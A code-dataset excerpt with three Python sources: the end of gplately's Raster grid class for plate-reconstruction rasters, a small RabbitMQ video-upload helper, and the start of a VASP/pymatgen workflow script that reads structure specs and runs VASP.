Returns\n -------\n Raster\n A copy of the current Raster object\n \"\"\"\n return Raster(self.data.copy(), self.plate_reconstruction, self.extent, self.time)\n\n def interpolate(\n self,\n lons,\n lats,\n method=\"linear\",\n return_indices=False,\n ):\n \"\"\"Interpolate a set of point data onto the gridded data provided\n to the `Raster` object.\n\n Parameters\n ----------\n lons, lats : array_like\n The longitudes and latitudes of the points to interpolate onto the\n gridded data. Must be broadcastable to a common shape.\n method : str or int; default: 'linear'\n The order of spline interpolation. Must be an integer in the range\n 0-5. 'nearest', 'linear', and 'cubic' are aliases for 0, 1, and 3,\n respectively.\n return_indices : bool, default=False\n Whether to return the row and column indices of the nearest grid\n points.\n\n Returns\n -------\n numpy.ndarray\n The values interpolated at the input points.\n indices : 2-tuple of numpy.ndarray\n The i- and j-indices of the nearest grid points to the input\n points, only present if `return_indices=True`.\n\n Raises\n ------\n ValueError\n If an invalid `method` is provided.\n RuntimeWarning\n If `lats` contains any invalid values outside of the interval\n [-90, 90]. Invalid values will be clipped to this interval.\n\n Notes\n -----\n If `return_indices` is set to `True`, the nearest array indices\n are returned as a tuple of arrays, in (i, j) or (lat, lon) format.\n\n An example output:\n\n # The first array holds the rows of the raster where point data spatially falls near.\n # The second array holds the columns of the raster where point data spatially falls near.\n sampled_indices = (array([1019, 1019, 1019, ..., 1086, 1086, 1087]), array([2237, 2237, 2237, ..., 983, 983, 983]))\n \"\"\"\n return sample_grid(\n lon=lons,\n lat=lats,\n grid=self,\n method=method,\n return_indices=return_indices,\n )\n\n def resample(self, spacingX, spacingY, method=\"linear\", inplace=False):\n \"\"\"Resample the `grid` passed to the `Raster` object with a new `spacingX` and \n `spacingY` using linear interpolation.\n\n Notes\n -----\n Ultimately, `resample` changes the lat-lon resolution of the gridded data. The\n larger the x and y spacings given are, the larger the pixellation of raster data. \n\n `resample` creates new latitude and longitude arrays with specified spacings in the\n X and Y directions (`spacingX` and `spacingY`). These arrays are linearly interpolated \n into a new raster. If `inplace` is set to `True`, the respaced latitude array, longitude \n array and raster will inplace the ones currently attributed to the `Raster` object.\n\n Parameters\n ----------\n spacingX, spacingY : ndarray\n Specify the spacing in the X and Y directions with which to resample. The larger \n `spacingX` and `spacingY` are, the larger the raster pixels become (less resolved).\n Note: to keep the size of the raster consistent, set `spacingX = spacingY`; \n otherwise, if for example `spacingX > spacingY`, the raster will appear stretched \n longitudinally. \n\n method : str or int; default: 'linear'\n The order of spline interpolation. Must be an integer in the range\n 0-5. 'nearest', 'linear', and 'cubic' are aliases for 0, 1, and 3,\n respectively.\n\n inplace : bool, default=False\n Choose to overwrite the data (the `self.data` attribute), latitude array \n (`self.lats`) and longitude array (`self.lons`) currently attributed to the \n `Raster` object. \n\n Returns\n -------\n Raster\n The resampled grid. If `inplace` is set to `True`, this raster overwrites the\n one attributed to `data`.\n \"\"\"\n spacingX = np.abs(spacingX)\n spacingY = np.abs(spacingY)\n if self.origin == \"upper\":\n spacingY *= -1.0\n\n lons = np.arange(self.extent[0], self.extent[1]+spacingX, spacingX)\n lats = np.arange(self.extent[2], self.extent[3]+spacingY, spacingY)\n lonq, latq = np.meshgrid(lons, lats)\n\n data = self.interpolate(lonq, latq, method=method)\n if inplace:\n self._data = data\n self._lons = lons\n self._lats = lats\n else:\n return Raster(data, self.plate_reconstruction, self.extent, self.time)\n\n\n def resize(self, resX, resY, inplace=False, method=\"linear\", return_array=False):\n \"\"\"Resize the grid passed to the `Raster` object with a new x and y resolution \n (`resX` and `resY`) using linear interpolation. \n\n Notes\n -----\n Ultimately, `resize` \"stretches\" a raster in the x and y directions. The larger\n the resolutions in x and y, the more stretched the raster appears in x and y.\n\n It creates new latitude and longitude arrays with specific resolutions in \n the X and Y directions (`resX` and `resY`). These arrays are linearly interpolated\n into a new raster. If `inplace` is set to `True`, the resized latitude, longitude \n arrays and raster will inplace the ones currently attributed to the `Raster` object.\n\n Parameters\n ----------\n resX, resY : ndarray\n Specify the resolutions with which to resize the raster. The larger `resX` is,\n the more longitudinally-stretched the raster becomes. The larger `resY` is, the\n more latitudinally-stretched the raster becomes.\n\n method : str or int; default: 'linear'\n The order of spline interpolation. Must be an integer in the range\n 0-5. 'nearest', 'linear', and 'cubic' are aliases for 0, 1, and 3,\n respectively.\n\n inplace : bool, default=False\n Choose to overwrite the data (the `self.data` attribute), latitude array \n (`self.lats`) and longitude array (`self.lons`) currently attributed to the \n `Raster` object. \n\n return_array : bool, default False\n Return a `numpy.ndarray`, rather than a `Raster`.\n\n Returns\n -------\n Raster\n The resized grid. If `inplace` is set to `True`, this raster overwrites the\n one attributed to `data`.\n \"\"\"\n # construct grid\n lons = np.linspace(self.extent[0], self.extent[1], resX)\n lats = np.linspace(self.extent[2], self.extent[3], resY)\n lonq, latq = np.meshgrid(lons, lats)\n\n data = self.interpolate(lonq, latq, method=method)\n if inplace:\n self._data = data\n self._lons = lons\n self._lats = lats\n if return_array:\n return data\n else:\n return Raster(data, self.plate_reconstruction, self.extent, self.time)\n\n\n def fill_NaNs(self, inplace=False, return_array=False):\n \"\"\"Search raster for invalid ‘data’ cells containing NaN-type entries replaces them \n with the value of their nearest valid data cells.\n\n Parameters\n ---------\n inplace : bool, default=False\n Choose whether to overwrite the grid currently held in the `data` attribute with\n the filled grid.\n\n return_array : bool, default False\n Return a `numpy.ndarray`, rather than a `Raster`.\n\n Returns\n --------\n Raster\n The resized grid. If `inplace` is set to `True`, this raster overwrites the\n one attributed to `data`.\n \"\"\"\n data = fill_raster(self.data)\n if inplace:\n self._data = data\n if return_array:\n return data\n else:\n return Raster(data, self.plate_reconstruction, self.extent, self.time)\n\n\n def save_to_netcdf4(self, filename):\n \"\"\" Saves the grid attributed to the `Raster` object to the given `filename` (including\n the \".nc\" extension) in netCDF4 format.\"\"\"\n write_netcdf_grid(str(filename), self.data, self.extent)\n\n\n def reconstruct(\n self,\n time,\n fill_value=None,\n partitioning_features=None,\n threads=1,\n anchor_plate_id=0,\n inplace=False,\n return_array=False,\n ):\n \"\"\"Reconstruct raster data to a given time.\n\n Parameters\n ----------\n time : float\n Time to which the data will be reconstructed.\n fill_value : float, int, str, or tuple, optional\n The value to be used for regions outside of the static polygons\n at `time`. By default (`fill_value=None`), this value will be\n determined based on the input.\n partitioning_features : sequence of Feature or str, optional\n The features used to partition the raster grid and assign plate\n IDs. By default, `self.plate_reconstruction.static_polygons`\n will be used, but alternatively any valid argument to\n `pygplates.FeaturesFunctionArgument` can be specified here.\n threads : int, default 1\n Number of threads to use for certain computationally heavy\n routines.\n anchor_plate_id : int, default 0\n ID of the anchored plate.\n inplace : bool, default False\n Perform the reconstruction in-place (replace the raster's data\n with the reconstructed data).\n return_array : bool, default False\n Return a `numpy.ndarray`, rather than a `Raster`.\n\n Returns\n -------\n Raster or np.ndarray\n The reconstructed grid. Areas for which no plate ID could be\n determined will be filled with `fill_value`.\n\n Raises\n ------\n TypeError\n If this `Raster` has no `plate_reconstruction` set.\n\n Notes\n -----\n For two-dimensional grids, `fill_value` should be a single\n number. The default value will be `np.nan` for float or\n complex types, the minimum value for integer types, and the\n maximum value for unsigned types.\n For RGB image grids, `fill_value` should be a 3-tuple RGB\n colour code or a matplotlib colour string. The default value\n will be black (0.0, 0.0, 0.0) or (0, 0, 0).\n For RGBA image grids, `fill_value` should be a 4-tuple RGBA\n colour code or a matplotlib colour string. The default fill\n value will be transparent black (0.0, 0.0, 0.0, 0.0) or\n (0, 0, 0, 0).\n \"\"\"\n if time < 0.0:\n raise ValueError(\"Invalid time: {}\".format(time))\n time = float(time)\n if self.plate_reconstruction is None:\n raise TypeError(\n \"Cannot perform reconstruction - \"\n + \"`plate_reconstruction` has not been set\"\n )\n if partitioning_features is None:\n partitioning_features = self.plate_reconstruction.static_polygons\n result = reconstruct_grid(\n grid=self.data,\n partitioning_features=partitioning_features,\n rotation_model=self.plate_reconstruction.rotation_model,\n from_time=self.time,\n to_time=time,\n extent=self.extent,\n origin=self.origin,\n fill_value=fill_value,\n threads=threads,\n anchor_plate_id=anchor_plate_id,\n )\n\n if inplace:\n self.data = result\n self._time = time\n if return_array:\n return result\n return self\n\n if not return_array:\n result = type(self)(\n data=result,\n plate_reconstruction=self.plate_reconstruction,\n extent=self.extent,\n time=time,\n origin=self.origin,\n )\n return result\n\n\n def imshow(self, ax=None, projection=None, **kwargs):\n \"\"\"Display raster data.\n\n A pre-existing matplotlib `Axes` instance is used if available,\n else a new one is created. The `origin` and `extent` of the image\n are determined automatically and should not be specified.\n\n Parameters\n ----------\n ax : matplotlib.axes.Axes, optional\n If specified, the image will be drawn within these axes.\n projection : cartopy.crs.Projection, optional\n The map projection to be used. If both `ax` and `projection`\n are specified, this will be checked against the `projection`\n attribute of `ax`, if it exists.\n **kwargs : dict, optional\n Any further keyword arguments are passed to\n `matplotlib.pyplot.imshow` or `matplotlib.axes.Axes.imshow`,\n where appropriate.\n\n Returns\n -------\n matplotlib.image.AxesImage\n\n Raises\n ------\n ValueError\n If `ax` and `projection` are both specified, but do not match\n (i.e. `ax.projection != projection`).\n \"\"\"\n for kw in (\"origin\", \"extent\"):\n if kw in kwargs.keys():\n raise TypeError(\n \"imshow got an unexpected keyword argument: {}\".format(kw)\n )\n if ax is None:\n existing_figure = len(plt.get_fignums()) > 0\n current_axes = plt.gca()\n if projection is None:\n ax = current_axes\n elif (\n isinstance(current_axes, _GeoAxes)\n and current_axes.projection == projection\n ):\n ax = current_axes\n else:\n if not existing_figure:\n current_axes.remove()\n ax = plt.axes(projection=projection)\n elif projection is not None:\n # projection and ax both specified\n if isinstance(ax, _GeoAxes) and ax.projection == projection:\n pass # projections match\n else:\n raise ValueError(\n \"Both `projection` and `ax` were specified, but\"\n + \" `projection` does not match `ax.projection`\"\n )\n\n if isinstance(ax, _GeoAxes) and \"transform\" not in kwargs.keys():\n kwargs[\"transform\"] = _PlateCarree()\n extent = self.extent\n if self.origin == \"upper\":\n extent = (\n extent[0],\n extent[1],\n extent[3],\n extent[2],\n )\n im = ax.imshow(self.data, origin=self.origin, extent=extent, **kwargs)\n return im\n\n plot = imshow\n\n\n def rotate_reference_frames(\n self,\n grid_spacing_degrees, \n reconstruction_time,\n from_rotation_features_or_model, # filename(s), or pyGPlates feature(s)/collection(s) or a RotationModel\n to_rotation_features_or_model, # filename(s), or pyGPlates feature(s)/collection(s) or a RotationModel\n from_rotation_reference_plate=0,\n to_rotation_reference_plate=0,\n non_reference_plate=701,\n output_name=None\n ):\n import time as timer\n\n \"\"\"Rotate a grid defined in one plate model reference frame \n within a gplately.Raster object to another plate \n reconstruction model reference frame.\n\n Parameters\n ----------\n grid_spacing_degrees : float\n The spacing (in degrees) for the output rotated grid.\n reconstruction_time : float\n The time at which to rotate the input grid.\n from_rotation_features_or_model : str, list of str, or instance of pygplates.RotationModel\n A filename, or a list of filenames, or a pyGPlates \n RotationModel object that defines the rotation model\n that the input grid is currently associated with.\n to_rotation_features_or_model : str, list of str, or instance of pygplates.RotationModel\n A filename, or a list of filenames, or a pyGPlates \n RotationModel object that defines the rotation model\n that the input grid shall be rotated with.\n from_rotation_reference_plate : int, default = 0\n The current reference plate for the plate model the grid\n is defined in. Defaults to the anchor plate 0.\n to_rotation_reference_plate : int, default = 0\n The desired reference plate for the plate model the grid\n is being rotated to. Defaults to the anchor plate 0.\n non_reference_plate : int, default = 701\n An arbitrary placeholder reference frame with which \n to define the \"from\" and \"to\" reference frames.\n output_name : str, default None\n If passed, the rotated grid is saved as a netCDF grid to this filename.\n\n Returns\n -------\n gplately.Raster()\n An instance of the gplately.Raster object containing the rotated grid.\n \"\"\"\n\n input_positions = []\n\n # Create the pygplates.FiniteRotation that rotates \n # between the two reference frames.\n from_rotation_model = pygplates.RotationModel(\n from_rotation_features_or_model\n )\n to_rotation_model = pygplates.RotationModel(\n to_rotation_features_or_model\n )\n from_rotation = from_rotation_model.get_rotation(\n reconstruction_time, \n non_reference_plate, \n anchor_plate_id=from_rotation_reference_plate\n )\n to_rotation = to_rotation_model.get_rotation(\n reconstruction_time, \n non_reference_plate, \n anchor_plate_id=to_rotation_reference_plate\n )\n reference_frame_conversion_rotation = to_rotation * from_rotation.get_inverse()\n\n\n # Resize the input grid to the specified output resolution before rotating\n resX = _deg2pixels(\n grid_spacing_degrees, self.extent[0], self.extent[1]\n )\n resY = _deg2pixels(\n grid_spacing_degrees, self.extent[2], self.extent[3]\n )\n resized_input_grid = self.resize(\n resX, resY, inplace=False\n )\n\n # Get the flattened lons, lats\n llons, llats = np.meshgrid(\n resized_input_grid.lons, resized_input_grid.lats\n )\n llons = llons.flatten()\n llats = llats.flatten()\n input_coords = [(llons[i], llats[i]) for i in range(0, len(llons))]\n\n\n # Convert lon-lat points of Raster grid to pyGPlates points\n input_points = pygplates.MultiPointOnSphere(\n (lat, lon) for lon, lat in input_coords\n )\n # Get grid values of the resized Raster object\n values = np.array(resized_input_grid.data).flatten()\n\n # Rotate grid nodes to the other reference frame\n output_points = reference_frame_conversion_rotation * input_points\n\n # Assemble rotated points with grid values.\n out_lon = []\n out_lat = []\n zdata = []\n for index, point in enumerate(output_points):\n lat, lon = point.to_lat_lon()\n out_lon.append(lon)\n out_lat.append(lat)\n zdata.append(values[index])\n\n # Create a regular grid on which to interpolate lats, lons and zdata\n # Use the extent of the original Raster object\n extent_globe = self.extent\n\n resX = int(np.floor((extent_globe[1] - extent_globe[0]) / grid_spacing_degrees)) + 1\n resY = int(np.floor((extent_globe[3] - extent_globe[2]) / grid_spacing_degrees)) + 1\n\n grid_lon = np.linspace(\n extent_globe[0], \n extent_globe[1], \n resX\n )\n grid_lat = np.linspace(\n extent_globe[2], \n extent_globe[3], \n resY\n )\n\n X, Y = np.meshgrid(\n grid_lon, \n grid_lat\n )\n\n # Interpolate lons, lats and zvals over a regular grid using nearest\n # neighbour interpolation\n Z = griddata(\n (out_lon, out_lat), \n zdata, \n (X, Y), \n method='nearest'\n )\n\n # Write output grid to netCDF if requested.\n if output_name:\n write_netcdf_grid(\n output_name,\n Z,\n extent=extent_globe,\n )\n \n return Raster(data=Z)\n\n\n def __array__(self):\n return np.array(self.data)\n\n\n def __add__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return self.data + other.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = self.data + other\n new_raster.data = new_data\n return new_raster\n\n\n def __radd__(self, other):\n return self + other\n\n\n def __sub__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return self.data - other.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = self.data - other\n new_raster.data = new_data\n return new_raster\n\n\n def __rsub__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return other.data - self.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = other - self.data\n new_raster.data = new_data\n return new_raster\n\n\n def __mul__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return self.data * other.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = self.data * other\n new_raster.data = new_data\n return new_raster\n\n\n def __rmul__(self, other):\n return self * other\n\n\n def __truediv__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return self.data / other.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = self.data / other\n new_raster.data = new_data\n return new_raster\n\n\n def __rtruediv__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return other.data / self.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = other / self.data\n new_raster.data = new_data\n return new_raster\n\n\n def __floordiv__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return self.data // other.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = self.data // other\n new_raster.data = new_data\n return new_raster\n\n\n def __rfloordiv__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return other.data // self.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = other // self.data\n new_raster.data = new_data\n return new_raster\n\n\n def __mod__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return self.data % other.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = self.data % other\n new_raster.data = new_data\n return new_raster\n\n\n def __rmod__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return other.data % self.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = other % self.data\n new_raster.data = new_data\n return new_raster\n\n\n def __pow__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return self.data ** other.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = self.data ** other\n new_raster.data = new_data\n return new_raster\n\n\n def __rpow__(self, other):\n if isinstance(other, Raster):\n # Return array, since we don't know which Raster\n # to take properties from\n return other.data ** self.data\n\n # Return Raster with new data\n new_raster = self.copy()\n new_data = other ** self.data\n new_raster.data = new_data\n return new_raster\n\n\n\n# class TimeRaster(Raster):\n# \"\"\"A class for the temporal manipulation of raster data. To be added soon!\"\"\"\n# def __init__(self, PlateReconstruction_object=None, filename=None, array=None, extent=None, resample=None):\n# raise NotImplementedError(\n# \"This class has not been implemented; use `Raster` instead\"\n# )\n# super(TimeRaster, self).__init__(PlateReconstruction_object)\n","repo_name":"GPlates/gplately","sub_path":"gplately/grids.py","file_name":"grids.py","file_ext":"py","file_size_in_byte":86636,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"72"} +{"seq_id":"25676334268","text":"import os\nimport pika\nimport json\n\n\ndef upload(file, fs, channel, access):\n try:\n file_id = fs.put(file)\n except Exception as err:\n return 500, str(err)\n \n message = {\n \"video_fid\": str(file_id),\n \"mp3_fid\": None,\n \"text_id\": None,\n \"user\": access[\"user\"],\n }\n\n try:\n channel.basic_publish(\n exchange='',\n routing_key=\"video\",\n body=json.dumps(message),\n properties = pika.BasicProperties(\n delivery_mode=pika.spec.PERSISTENT_DELIVERY_MODE\n ),\n )\n except Exception as err:\n fs.delete(file_id)\n return str(err)\n \n return message","repo_name":"dev-hack95/TextFlow","sub_path":"src/app/controllers/storage/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2633904739","text":"import os\nimport sys\nimport argparse\nimport warnings\n# import timeit\n# import datetime\nimport shutil\nimport subprocess\nimport re\nimport json\nimport yaml\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport datetime\nimport pymatgen as mg\n\n# environmental variable or manual setting these lines required\nVASP_EXEC = os.getenv('VASP_EXEC', 'OR-PATH-TO-YOUR-VASP-EXEC-default')\nVASP_POTENTIALS_DIR = os.getenv('VASP_POTENTIALS_DIR', 'OR-PATH-TO-YOUR-VASP_POTENTIALS_DIR-default')\n# environmental variable optional, default to INPUT/TEMPLATES\nVASP_TEMPLATES_DIR = os.getenv('VASP_TEMPLATES_DIR', os.path.join(os.getcwd(), 'INPUT/TEMPLATES'))\n\n\nclass Tee(object):\n \"\"\"\n\n Invoked by init_stdout() to duplicate stdout and stderr into a file.\n\n \"\"\"\n\n def __init__(self, name, mode):\n self.file = open(name, mode)\n self.stdout = sys.stdout\n self.stderr = sys.stderr\n sys.stdout = self\n sys.stderr = self\n\n def restore(self):\n sys.stdout = self.stdout\n sys.stderr = self.stderr\n self.file.close()\n\n def write(self, data):\n self.file.write(data)\n self.stdout.write(data)\n\n def flush(self):\n pass\n\n\ndef print(obj):\n \"\"\"\n\n print to screen as well as file.\n\n \"\"\"\n\n subprocess.call('echo \"' + str(obj) + '\" | tee stdout', shell=True)\n\n\ndef fileload(filename):\n \"\"\"\n\n Load a json or specs file, determined by the extension.\n\n \"\"\"\n\n with open(filename, 'r') as f:\n if filename.endswith('.json'):\n file_dict = json.load(f)\n elif filename.endswith('.yaml'):\n file_dict = yaml.load(f)\n return file_dict\n\n\ndef filedump(dict_to_file, filename):\n \"\"\"\n\n Dump a json or specs file, determined by the extension. Indentation of json\n and flow style of yaml is set.\n\n \"\"\"\n\n with open(filename, 'w') as f:\n if filename.endswith('.json'):\n json.dump(dict_to_file, f, indent=4)\n elif filename.endswith('.yaml'):\n yaml.dump(dict_to_file, f, default_flow_style=False)\n\n\ndef chdir(dirname):\n \"\"\"\n\n Enter a path. If it does not exist, create one recursively and enter.\n\n \"\"\"\n\n os.makedirs(dirname, exist_ok=True)\n os.chdir(dirname)\n\n\ndef get_run_specs_and_filename():\n \"\"\"\n\n Parse the sys.argv list, return the run_specs object from the specs file, and\n its filename.\n\n If the --remove_file option is turned on, remove the specs file. This is\n useful when you use a shell submission trigger file and has a temporary copy\n of a specs file that should be removed once it's used. By default the file is\n not removed.\n\n \"\"\"\n\n parser = argparse.ArgumentParser()\n parser.add_argument('filepath', help='path of the specs file')\n parser.add_argument('--remove_file', action='store_true', help=\"if remove the specs file\")\n args = parser.parse_args()\n\n run_specs = fileload(args.filepath)\n filename = os.path.basename(args.filepath)\n if args.remove_file:\n os.remove(filename)\n\n return run_specs, filename\n\n\ndef get_run_dir(run_specs):\n \"\"\"\n\n Get the directory where the routine takes place.\n\n If 'run_dir' is in the specs file, use that; otherwise name it 'vasp_test'.\n\n \"\"\"\n\n dirname = run_specs['run_dir'] if 'run_dir' in run_specs else 'vasp_test'\n return dirname\n\n\ndef init_stdout():\n \"\"\"\n\n Create a new stdout file and record working directory.\n\n \"\"\"\n\n # stdout_str = 'stdout_' + datetime.datetime.now().isoformat(sep='-') + '.out'\n # Tee('stdout', 'w')\n # print(\"DateTime: \" + str(datetime.datetime.now()))\n # print(\"Working directory: \" + os.getcwd())\n\n subprocess.call('date | tee stdout', shell=True)\n subprocess.call('echo \"Working directory: $PWD\" | tee -a stdout', shell=True)\n\n\ndef run_vasp():\n \"\"\"\n\n Run VASP, time it, print out to screen, and append it to a file named\n 'stdout'. You need to set the VASP_EXEC environmental variable, or edit\n the head of this file to be able to use it.\n\n \"\"\"\n\n time_format = ' \"\\n----------\\nreal %E\" '\n time = '/usr/bin/time -f ' + time_format\n subprocess.check_call(time + VASP_EXEC + ' 2>&1 | tee -a stdout', shell=True)\n hbreak = ' \"\\n' + '=' * 100 + '\\n\" '\n subprocess.call('echo -e ' + hbreak + ' | tee -a stdout', shell=True)\n\n # print(subprocess.check_output(time + VASP_EXEC, shell=True))\n # time = timeit.Timer('print(subprocess.check_output(\"{}\", shell=True).decode())'.format(VASP_EXEC), 'import subprocess').timeit(1)\n # print('\\n----------\\nreal ' + str(datetime.timedelta(seconds=int(time))))\n # print('\\n' + '=' * 100 + '\\n')\n\n\ndef detect_is_mag(mag, tol=1e-3):\n \"\"\"\n\n Detect if any of a list/numpy array, or a float/int value of magnetic\n moments is larger than some criterion (tol optional argument). Return the\n boolean.\n\n \"\"\"\n\n if isinstance(mag, list) or isinstance(mag, np.ndarray):\n is_mag = (np.abs(mag) >= tol).any()\n elif isinstance(mag, float) or isinstance(mag, int):\n is_mag = np.abs(mag) >= tol\n return is_mag\n\n\ndef infer_from_json(run_specs):\n \"\"\"\n\n Specify a relative path to the run_dir in the specs file, under the tag of\n \"infer_from_json\".\n\n Infer some information not given in the specs file from a specified json\n file, if that file exists. Adjust run_specs.\n\n e.g. If ISPIN is not specified in the yaml file, try the 'mag' key in the\n json file.\n\n \"\"\"\n\n if 'infer_from_json' in run_specs:\n properties = fileload(run_specs['infer_from_json'])\n incar = run_specs['incar']\n if 'ISPIN' not in incar:\n if detect_is_mag(properties['mag']):\n incar.update({'ISPIN': 2})\n else:\n incar.update({'ISPIN': 1})\n\n run_specs['poscar']['volume'] = properties['V0']\n\n\ndef read_incar(run_specs):\n \"\"\"\n\n Read contents of 'incar' from the specs file. If 'incar' does not exist,\n return an empty Incar object, still functional.\n\n \"\"\"\n\n incar = mg.io.vasp.Incar()\n if 'incar' in run_specs and run_specs['incar']:\n incar.update(run_specs['incar'])\n return incar\n\n\ndef read_kpoints(run_specs, structure=None):\n \"\"\"\n\n Read contents of 'kpoints' from the specs file. If 'kpoints' does not\n exist, return an automatic (A) mesh with 5 subdivisions along each\n reciprocal vector.\n\n If 'kpoints' exists, it follows the sequence below.\n\n If 'density' exists in 'kpoints', automatic density mesh is returned, with\n density being KPPRA. In this case you need to provide the structure as an\n argument. 'force_gamma' can be specified to True.\n\n Otherwise, if 'divisions', specified as a list, exists in 'kpoints', MP mesh or Gamma-centered\n mesh is returned, according to 'mode' that starts with 'M' or 'G'.\n\n \"\"\"\n\n kpoints = mg.io.vasp.Kpoints.automatic(5)\n if 'kpoints' in run_specs and run_specs['kpoints']:\n kpoints_spec = run_specs['kpoints']\n if 'density'in kpoints_spec:\n if 'force_gamma'in kpoints_spec:\n force_gamma = kpoints_spec['force_gamma']\n else:\n force_gamma = False\n kpoints = mg.io.vasp.Kpoints.automatic_density(structure, kpoints_spec['density'],\n force_gamma=force_gamma)\n elif 'divisions' in kpoints_spec:\n if kpoints_spec['mode'].upper().startswith('M'):\n kpoints = mg.io.vasp.Kpoints.monkhorst_automatic(kpoints_spec['divisions'])\n elif kpoints_spec['mode'].upper().startswith('G'):\n kpoints = mg.io.vasp.Kpoints.gamma_automatic(kpoints_spec['divisions'])\n return kpoints\n\n\ndef get_structure(run_specs):\n \"\"\"\n\n Get pymatgen.Structure. There are many ways to get a structure. They are all\n specified under 'poscar' tag in the specs file. There are two ways to get a\n structure.\n\n 1. From an already made structure, either from a template POSCAR, or a\n Materials Project database entry. (Recommended)\n\n If 'template' is present in 'poscar', you can either set the\n VASP_TEMPLATES_DIR environmental variable, or just leave it to the default\n 'INPUT/TEMPLATES'. After that, this specified POSCAR-type template file path\n will be used to obtain the structure from the VASP_TEMPLATES_DIR, and a\n structure is returned. If you set 'rel_to_run_dir' to True, 'template'\n refers to the file relative to the 'run_dir'.\n\n If 'material_id' is present in 'poscar', MAPI_KEY environmental variable\n needs to be set according to the Materials Project (materialsproject.org).\n\n An optional 'get_structure' can be set to one of\n\n ['primitive', 'reduced', 'sorted', 'conventional_standard',\n 'primitive_standard', 'refined']\n\n For 'primitive', 'conventional_standard' and so on, an additional tag 'prec'\n controls the tolerence/symmetry finding precision threshold.\n\n The 'primitive', 'reduced' and 'sorted' are methods of the object\n pmg.Structure, while the rest are methods of\n pmg.symmetry.analyzer.SpacegroupAnalyzer. Please refer to the pymatgen docs\n to see what they are exactly. Be careful about whether the resultent\n structure is what you want. When in doubt, always manually run the pymatgen\n commands and see the outcome.\n\n By default, the code uses the element types written in the structure to\n generate the POTCAR by maintaining the existence of 'elem_types'. However,\n if you set 'repl_elems' with a dict, like {N: C, Ti: Ti_sv}, the elements in\n the structure will be accordingly replaced and the necessary mechanism is in\n place to make sure POTCAR is to be generated with the flavored potentials.\n\n Setting 'elem_types' in the specs file as a list of potentials (can have\n flavors like Ti_sv) in the same sequence as in the structure also works, but\n one has to be careful to match the sequence correctly. Not recommended.\n\n An optional 'volume' can be set to scale the structure of the template.\n\n 2. From manual description. (Cumbersome)\n\n The manual generation from spacegroup is done by specifying\n\n 'spacegroup' (international number or symbol)\n\n 'cryst_sys' (one of the seven)\n\n 'lattice_params' ('a', 'b', 'c', 'alpha', 'beta', 'gamma', some of which\n 'can be omitted because of a more symmetric crystallographic system)\n\n 'elem_types' (the elements in the structure, which can be flavored\n 'potentials, e.g. Ti_sv)\n\n 'atoms_multitude' (multitude of atoms of the same element type in a list,\n 'the sequence following 'elem_types'. Only symmetrically distinct species and\n 'coords should be provided, according to the Wychoff positions)\n\n 'atoms_direct_coords' (direct locations, relative to the lattice vectors\n 'of the symmetrically distinct atoms. There should be the same number of\n 'them as the sum of atoms_multitude)\n\n \"\"\"\n\n is_template = None\n is_material_id = None\n poscar_specs = run_specs['poscar']\n\n if 'template' in poscar_specs:\n is_template = True\n if 'rel_to_run_dir' in poscar_specs and poscar_specs['rel_to_run_dir']:\n poscar = mg.io.vasp.Poscar.from_file(poscar_specs['template'])\n else:\n poscar = mg.io.vasp.Poscar.from_file(os.path.join(VASP_TEMPLATES_DIR, poscar_specs['template']))\n structure = poscar.structure\n elif 'material_id' in poscar_specs:\n is_material_id = True\n m = mg.MPRester()\n structure = m.get_structure_by_material_id(poscar_specs['material_id'])\n if is_template or is_material_id:\n if 'get_structure' in poscar_specs:\n prec = poscar_specs['prec'] if 'prec' in poscar_specs else 1e-3\n sga = mg.symmetry.analyzer.SpacegroupAnalyzer(structure, symprec=prec)\n if poscar_specs['get_structure'] == 'sorted':\n structure = structure.get_sorted_structure()\n if poscar_specs['get_structure'] == 'reduced':\n structure = structure.get_reduced_structure()\n elif poscar_specs['get_structure'] == 'primitive':\n structure = structure.get_primitive_structure(prec)\n elif poscar_specs['get_structure'] == 'primitive_standard':\n structure = sga.get_primitive_standard_structure()\n elif poscar_specs['get_structure'] == 'conventional_standard':\n structure = sga.get_conventional_standard_structure()\n elif poscar_specs['get_structure'] == 'refined':\n structure = sga.get_refined_structure()\n\n symbol_set = list(structure.symbol_set)\n if 'repl_elems' in run_specs:\n for idx, symbol in enumerate(symbol_set):\n if symbol in run_specs['repl_elems']:\n symbol_set[idx] = run_specs['repl_elems'][symbol]\n repl_elems_struct = {key: re.sub(r'_.*', '', value) for key, value in run_specs['repl_elems'].items()}\n structure.replace_species(repl_elems_struct)\n run_specs['elem_types'] = symbol_set\n\n if 'volume' in poscar_specs:\n structure.scale_lattice(poscar_specs['volume'])\n return structure\n else:\n cryst_sys = poscar_specs['cryst_sys']\n lattice_params = poscar_specs['lattice_params']\n if cryst_sys == 'cubic':\n lattice = 